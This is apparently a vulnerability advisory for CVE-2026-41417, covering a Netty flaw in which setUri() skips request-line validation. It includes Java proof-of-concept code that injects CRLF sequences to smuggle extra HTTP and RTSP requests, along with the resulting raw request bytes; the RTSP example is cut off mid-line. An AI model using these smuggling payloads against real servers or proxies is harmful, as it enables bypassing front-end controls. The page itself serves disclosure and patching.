Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection
Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri().
The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests.
In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.
The root issue is that URI validation exists only on the constructor path, but not on the public setter path.
io.netty.handler.codec.http.DefaultHttpRequestHttpUtil.validateRequestLineTokens(method, uri)setUri(String uri) only performs checkNotNull and does not validateio.netty.handler.codec.http.DefaultFullHttpRequestsetUri(String uri) delegates to the parent implementationio.netty.handler.codec.http.HttpRequestEncoderrequest.uri() directly into the request lineio.netty.handler.codec.rtsp.RtspEncoderrequest.uri() directly into the request lineThis creates the following bypass:
1. An application creates a DefaultHttpRequest or DefaultFullHttpRequest with a safe URI
2. Later, attacker-influenced input is passed into setUri()
3. HttpRequestEncoder or RtspEncoder encodes that value verbatim
4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests
This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.
The following code first creates a normal request object and then injects a malicious request line using setUri().
```java
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.http.HttpMethod;
import io.netty.handler.codec.http.HttpRequestEncoder;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.util.CharsetUtil;
public final class HttpSetUriSmugglePoc {
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());
EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());
DefaultHttpRequest request = new DefaultHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe");
request.setUri("/s1 HTTP/1.1\r\n" +
"\r\n" +
"POST /s2 HTTP/1.1\r\n" +
"content-length: 11\r\n\r\n" +
"Hello World" +
"GET /s1");
client.writeOutbound(request);
ByteBuf outbound = client.readOutbound();
System.out.println("=== Raw encoded request ===");
System.out.println(outbound.toString(CharsetUtil.US_ASCII));
System.out.println("=== Decoded by HttpServerCodec ===");
server.writeInbound(outbound.retainedDuplicate());
Object msg;
while ((msg = server.readInbound()) != null) {
System.out.println(msg);
}
outbound.release();
client.finishAndReleaseAll();
server.finishAndReleaseAll();
}
}
```
When reproduced, the raw encoded request looks like this:
```http
GET /s1 HTTP/1.1
POST /s2 HTTP/1.1
content-length: 11
Hello WorldGET /s1 HTTP/1.1
```
HttpServerCodec then parses this as multiple HTTP messages rather than a single request:
GET /s1POST /s2 with body Hello WorldGET /s1This confirms that the value supplied through setUri() is interpreted on the wire as additional requests.
The same root cause also affects RtspEncoder. A minimal reproduction is shown below.
```java
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.rtsp.RtspDecoder;
import io.netty.handler.codec.rtsp.RtspEncoder;
import io.netty.handler.codec.rtsp.RtspMethods;
import io.netty.handler.codec.rtsp.RtspVersions;
import io.netty.util.CharsetUtil;
public final class RtspSetUriSmugglePoc {
public static void main(String[] args) {
EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder());
EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder());
DefaultHttpRequest request = new DefaultHttpRequest(
RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media");
request.setUri("rtsp://cam/stream RTSP/1.0\r\n" +
"CSe
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity low, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
CVE-2026-41417 is classified as CWE-444: HTTP Request Smuggling. A proxy and a server disagree on where one request ends, letting an attacker slip a second request past the front end.
CVE-2026-41417 is recorded against 2 packages.
Published on 5 May 2026 and last revised on 8 May 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
io.netty:netty-codec-http has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-444: HTTP Request Smuggling) in other software:
Each distribution ships its own build and its own fixed version. Pick the one you run:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| io.netty:netty-codec-http | 4.2.0.Alpha1 | 4.2.13.Final |
| netty | 4.2.0 | 4.2.13 |
References
Similar Threats
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